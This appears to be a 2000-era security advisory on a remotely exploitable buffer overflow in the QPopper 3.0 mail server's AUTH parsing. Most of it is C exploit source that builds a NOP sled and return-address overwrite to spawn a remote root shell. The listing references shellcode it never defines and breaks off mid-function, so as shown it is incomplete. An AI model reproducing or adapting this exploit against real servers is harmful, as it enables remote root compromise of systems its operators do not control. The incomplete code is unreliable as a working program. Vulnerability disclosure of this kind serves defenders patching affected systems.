QPopper vulnerable to a remotely exploitable buffer overflow (AUTH)
3 Jan. 2000
Summary
There is a buffer overflow in the qpop 3.0 server code that can be exploited remotely and lead to a root compromise. The overflow occours in the AUTH parsing function.
Credit:
The vulnerability has been discovered by: Mixter.
Immune systems:
QPopper 2.52
QPopper 2.53
QPopper 3.0b22 and up
The buffer overflows are present in pop_msg.c starting at line 68. All configurations and different builds seem to be vulnerable, as either vsprintf or sprintf are used, which both do not check bounds on the input buffers for each argument.
The following exploit code can be used to test your system for the mentioned vulnerability:
/*
* Qpopper 3.0b remote exploit for x86 Linux (tested on RedHat/2.0.38)
*
* Dec 1999 by Mixter <mixter@newyorkoffice.com> / http://1337.tsx.org
*
* Exploits pop_msg buffer overflow to spawn a remote root shell.
* This probably works with the old qpop2 code for bsd, solaris anyone?
*
* WARNING: YOU ARE USING THIS SOFTWARE ON YOUR OWN RISK. THIS IS A
* PROOF-OF-CONCEPT PROGRAM AND YOU TAKE FULL RESPONSIBILITY FOR WHAT YOU
* DO WITH IT! DO NOT ABUSE THIS FOR ILLICIT PURPOSES!
*/
#define NOP 0x90
#define LEN 1032
#define CODESTART 880
#define RET 0xbfffd655
/* x86 linux shellcode. this can be a simple execve to /bin/sh on all
systems, but MUST NOT contain the characters 'x17' or 'x0c' because
that would split the exploit code into separate arg buffers */
unsigned long resolve (char *);
void term (int, int);
unsigned long get_sp ();
int
main (int argc, char **argv)
{
char buffer[LEN];
char *codeptr = shellcode;
long retaddr = RET;
int i, s;
struct sockaddr_in sin;
if (argc < 2)
{
printf ("usage: %s <host> [offset]\n", argv[0]);
printf ("use offset -1 to try local esp\n");
exit (0);
}
if (argc > 2)
{
if (atoi (argv[2]) == -1)
{
/* 8000 = approx. byte offset to qpopper's top of stack
at the time it prints out the auth error message */
retaddr = get_sp () - 8000 - LEN;
printf ("Using local esp as ret address...\n");
}
retaddr += atoi (argv[2]);
}
for (i = 0; i < LEN; i++)
*(buffer + i) = NOP;
for (i = CODESTART + 2; i < LEN; i += 4)
*(int *) &buffer[i] = retaddr;
for (i = CODESTART; i < CODESTART + strlen (shellcode); i++)
*(buffer + i) = *(codeptr++);
